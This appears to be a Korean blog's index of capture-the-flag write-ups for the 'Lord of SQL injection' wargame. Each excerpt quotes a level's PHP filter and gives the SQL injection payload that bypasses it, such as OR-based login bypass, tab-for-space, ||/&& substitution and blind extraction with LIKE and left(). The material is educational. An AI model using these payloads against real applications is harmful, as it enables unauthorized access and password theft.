본문 바로가기

전체 글

(68)
[Lord of SQL injection] darkknight 소스코드 분석if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 싱글쿼터 substr ascii = 필터링을 해놨다.pw부분을 사용을 할려면 싱글쿼터를 사용 해야하는데 막아놨으니no쪽을 공략한다. ?pw=1234&no=123%20or%20id%20LIKE%20"admin"%20and%20length(pw)%20like%208 ?pw=1234&no=123%20or%20id%20LIKE%20"admin"%20and%20left(pw,1)%20like%20"1" import http.client result='' leng=0 header={'Cookie':' '..
[Lord of SQL injection] golem 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); ( ) or and substr 을 사용못하게 해놨다. $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); admin의 pw를 찾는 Blind sql injection 문제이다. ( -> %28, ) -> %29, or -> ||, and -> &&, su..
[Lord of SQL injection] skeleton 소스코드 분석if($result['id'] == 'admin') solve("skeleton");id = 'admin'을 만족하면 풀리는데 뒤에 select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0and 1=0 이라는 조건이 붙었는데 뒤에는 주석으로 생략을 한다. ?pw=%27%20or%20id%20=%20%27admin%27%20%23?pw=' or id = 'admin' %23
[Lord of SQL injection] vampire 소스코드 분석$_GET[id] = str_replace("admin","",$_GET[id]);str_replace ($search, $replace, $subject [, int &$count ])admin 문자열찾으면 공백으로 치환한다. if($result['id'] == 'admin') solve("vampire"); id = 'admin' 를 만족하면 풀린다. ?id=Adminid=Admin
[Lord of SQL injection] troll 소스코드 분석if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");if(@ereg("admin",$_GET[id])) exit("HeHe");ereg() 함수는 패턴과 일치하는 문자열이 발견될 경우에 True, 발견되지 않을 경우에는 False를 반환하는데, 이때 대소문자 구분을 한다. ereg(string pattern, string string, array[regs]); if($result['id'] == 'admin') solve("troll");id = 'admin' 를 만족하면 풀린다.ereg때문에 admin은 적지못하지만 대소문자 구별을 하므로 Admin을 사용(mysql에서는 컬럼명에 대해서는 기본적으로 대소문자 구별함데이터 타입에서 Varchar..
[Lord of SQL injection] orge 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");기존 Blind 문제에서 or and 를 사용못하게 해놨다. $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");admin의 pw를 찾는 Blind sql injection 문제이다.and (&&), or (||) 만 바꿔서 사용하면되겠다.전에 사용했던 소스코드를 조금만 수정해 사용하..
[Lord of SQL injection] darkelf 소스코드 분석if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");or, and 연산을 사용못하게 했다. if($result['id'] == 'admin') solve("darkelf"); 그리고 id=admin 이라는 조건만 맞추면 풀린다. or은 논리 연산자로 || 사용가능 하고, and는 논리 연산자로 && 사용할수가 있다. ?pw=%27%20||%20id=%27adminpw=' || id='admin
[Lord of SQL injection] wolfman 소스코드 분석if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");공백을 사용못하게 하였다. if($result['id'] == 'admin') solve("wolfman");그리고 id='admin' 조건만 맞춰주면 풀리게되어있다. space는 아스키값으로 20(Hex)을 넣어주게 되면?pw=%27%20or%20id=%27adminpw='%20or%20id='admin 풀리지 않는다.그럼 Space를 대체할 문자를 넣어야하는데, 비슷한 Tab(09)을 넣게되면 풀린다. ?pw=%27%09or%09id=%27adminpw='%09or%09id='admin